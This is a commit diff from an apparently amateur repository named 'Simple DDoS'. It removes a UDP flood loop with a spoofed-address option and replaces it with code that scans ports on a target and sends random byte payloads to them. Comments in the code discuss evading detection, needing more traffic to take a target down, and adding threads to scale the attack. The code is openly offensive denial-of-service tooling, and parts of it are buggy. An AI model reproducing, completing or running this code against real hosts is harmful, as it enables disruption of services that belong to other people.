Merge pull request #1 from twhite96/fix/simplify
This commit is contained in:
commit
6bad62b00f
3 changed files with 72 additions and 69 deletions
5
__init__.py
Normal file
5
__init__.py
Normal file
|
@ -0,0 +1,5 @@
|
|||
"""Top-level package for Simple DDoS."""
|
||||
# simple_ddos/__init__.py
|
||||
|
||||
__app_name__ = 'simple_ddos'
|
||||
__version__ = "0.1.0"
|
19
main.py
19
main.py
|
@ -1,19 +0,0 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import argparse
|
||||
|
||||
from src import ddos
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="DDoS Proof of concept")
|
||||
parser.add_argument('-t', '--target', help="Attack target IP address")
|
||||
parser.add_argument('-p', '--port', help="Port to attack")
|
||||
parser.add_argument('-i', '--ipaddress', help="Fake ip address")
|
||||
|
||||
args = parser.parse_args(ddos)
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
117
src/ddos.py
117
src/ddos.py
|
@ -1,9 +1,8 @@
|
|||
import os
|
||||
import platform
|
||||
import sys, socket
|
||||
import random
|
||||
from datetime import datetime as dt
|
||||
|
||||
# import threading
|
||||
import socket
|
||||
# os.system('figlet Simple DDoS | lolcat')
|
||||
|
||||
# TODO: Read docs on time, os, random, threading, and platform
|
||||
# TODO: Take questions to Mastodon
|
||||
|
@ -17,6 +16,7 @@ G = '\033[32m'
|
|||
C = '\033[36m'
|
||||
W = '\033[0m'
|
||||
|
||||
|
||||
# v1: just create ddos script
|
||||
|
||||
# Instead of using SOCK_STREAM for TCP connections
|
||||
|
@ -29,67 +29,84 @@ W = '\033[0m'
|
|||
|
||||
# TODO: research ipv6
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
bytes1 = random.randbytes(2000)
|
||||
bytes2 = random.randbytes(2900)
|
||||
system = platform.uname().system
|
||||
|
||||
|
||||
# this is better system = getattr(platform.uname(), "system")
|
||||
# instead of hardcoding a specific index
|
||||
# because if something in the l
|
||||
|
||||
|
||||
def check_os():
|
||||
if system == 'Windows':
|
||||
os.system("cls")
|
||||
elif system == 'Unix':
|
||||
os.system("clear")
|
||||
|
||||
|
||||
class DDoS:
|
||||
pass
|
||||
|
||||
def __init__(self, target, port, ip):
|
||||
self.target = target
|
||||
self.port = port
|
||||
self.ip = ip
|
||||
|
||||
|
||||
# call function to check what system is used
|
||||
|
||||
|
||||
# Why use a try
|
||||
|
||||
def ddos(target, port, ipaddress):
|
||||
def ddos(target, port):
|
||||
sent = 0
|
||||
if len(sys.argv) != 3:
|
||||
print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
|
||||
print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
|
||||
|
||||
print("-" * 25)
|
||||
print(f"Attacking target:{target} on {port}")
|
||||
print("Time started:" + str(dt.now()))
|
||||
else:
|
||||
socket.gethostbyname(sys.argv[1])
|
||||
|
||||
try:
|
||||
# create an infinite loop to continuously send junk data
|
||||
# to target ip
|
||||
while True:
|
||||
sock.sendto(bytes1, (target, port))
|
||||
# Create a new socket
|
||||
# assign socket to s
|
||||
|
||||
# Iterate over ports to find the open ones on
|
||||
# common DNS protocol ports
|
||||
for port in range(0,445):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
# Set the timeout for 5 seconds
|
||||
|
||||
# I changed it from 5 seconds to 1
|
||||
# because each iteration over a port should not
|
||||
# take more than 1 second
|
||||
# If it did, perhaps it would be detected
|
||||
# quickly and shutdown
|
||||
|
||||
socket.setdefaulttimeout(1)
|
||||
|
||||
# Connect to target and port
|
||||
# using connect_ex to raise an
|
||||
# exception instead of just s.connect
|
||||
|
||||
# Assign the connection a variable res
|
||||
res = s.connect_ex((target, port))
|
||||
|
||||
if res != 1:
|
||||
pass
|
||||
# Check open ports by
|
||||
#
|
||||
else:
|
||||
print(f"Port {port} is open on {target}")
|
||||
print("Connected")
|
||||
# create a variable that will send 4000 random bytes
|
||||
|
||||
# 4000 bytes is not enough to DDoS a target.
|
||||
# Will need to test with more.
|
||||
|
||||
bytes1: bytes = random.randbytes(4000)
|
||||
# bytes2 = random.randbytes(4000)
|
||||
# system = platform.uname().system
|
||||
|
||||
# send 4000 random bytes to the target on port passed as arg
|
||||
s.sendto(bytes1, (target, port))
|
||||
sent = sent + 1
|
||||
|
||||
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
||||
while True:
|
||||
sock.sendto(bytes2, (target, port))
|
||||
sent = sent + 1
|
||||
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
||||
|
||||
# Break out of infinite loop
|
||||
# Break out of infinite loop
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
|
||||
print('\n' + R + '[!]' + C + 'Terminating Session...' + W)
|
||||
sys.exit()
|
||||
|
||||
except socket.gaierror:
|
||||
print(R + '[-] ' + C + 'Unknown address.')
|
||||
print(R + '[-] ' + C + 'Please input the correct ip address.')
|
||||
sys.exit()
|
||||
|
||||
except NameError:
|
||||
print(R + '[-] ' + C + 'Unknown address.')
|
||||
print(R + '[-] ' + C + 'Please input the correct ip address.')
|
||||
|
||||
# For introducing to the script later
|
||||
|
||||
# for i in range(150):
|
||||
# thread = threading.Thread(target=ddos)
|
||||
# thread.start()
|
||||
except socket.error:
|
||||
print(R + '[-] ' + C + "Couldn't connect to server.")
|
||||
socket.close()
|
||||
|
|
Loading…
Reference in a new issue